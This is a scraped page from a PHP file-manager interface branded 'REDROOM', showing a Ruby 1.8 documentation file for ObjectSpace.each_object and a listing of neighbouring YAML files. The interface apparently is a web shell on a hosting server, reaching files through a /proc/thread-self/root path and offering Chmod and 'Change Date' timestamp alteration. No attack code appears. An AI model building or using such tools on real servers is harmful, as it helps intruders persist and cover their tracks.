REDROOM
PHP 8.2.31
Path:
Logout
Edit File
Size: 1.24 KB
Close
/proc/thread-self/root/opt/alt/ruby18/share/ri/1.8/system/ObjectSpace/each_object-c.yaml
Text
Base64
--- !ruby/object:RI::MethodDescription aliases: [] block_params: comment: - !ruby/struct:SM::Flow::P body: Calls the block once for each living, nonimmediate object in this Ruby process. If <em>module</em> is specified, calls the block for only those classes or modules that match (or are a subclass of) <em>module</em>. Returns the number of objects found. Immediate objects (<tt>Fixnum</tt>s, <tt>Symbol</tt>s <tt>true</tt>, <tt>false</tt>, and <tt>nil</tt>) are never returned. In the example below, <tt>each_object</tt> returns both the numbers we defined and several constants defined in the <tt>Math</tt> module. - !ruby/struct:SM::Flow::VERB body: " a = 102.7\n b = 95 # Won't be returned\n c = 12345678987654321\n count = ObjectSpace.each_object(Numeric) {|x| p x }\n puts "Total count: #{count}"\n" - !ruby/struct:SM::Flow::P body: <em>produces:</em> - !ruby/struct:SM::Flow::VERB body: " 12345678987654321\n 102.7\n 2.71828182845905\n 3.14159265358979\n 2.22044604925031e-16\n 1.7976931348623157e+308\n 2.2250738585072e-308\n Total count: 7\n" full_name: ObjectSpace::each_object is_singleton: true name: each_object params: | ObjectSpace.each_object([module]) {|obj| ... } => fixnum visibility: public
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 10
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
add_finalizer-c.yaml
234 B
lrw-r--r--
2023-07-26 13:47:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
call_finalizer-c.yaml
236 B
lrw-r--r--
2023-07-26 13:47:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
cdesc-ObjectSpace.yaml
1.63 KB
lrw-r--r--
2023-07-26 13:47:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
define_finalizer-c.yaml
360 B
lrw-r--r--
2023-07-26 13:47:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
each_object-c.yaml
1.24 KB
lrw-r--r--
2023-07-26 13:47:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
finalizers-c.yaml
226 B
lrw-r--r--
2023-07-26 13:47:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
garbage_collect-c.yaml
395 B
lrw-r--r--
2023-07-26 13:47:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
remove_finalizer-c.yaml
240 B
lrw-r--r--
2023-07-26 13:47:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
undefine_finalizer-c.yaml
310 B
lrw-r--r--
2023-07-26 13:47:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
_id2ref-c.yaml
638 B
lrw-r--r--
2023-07-26 13:47:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).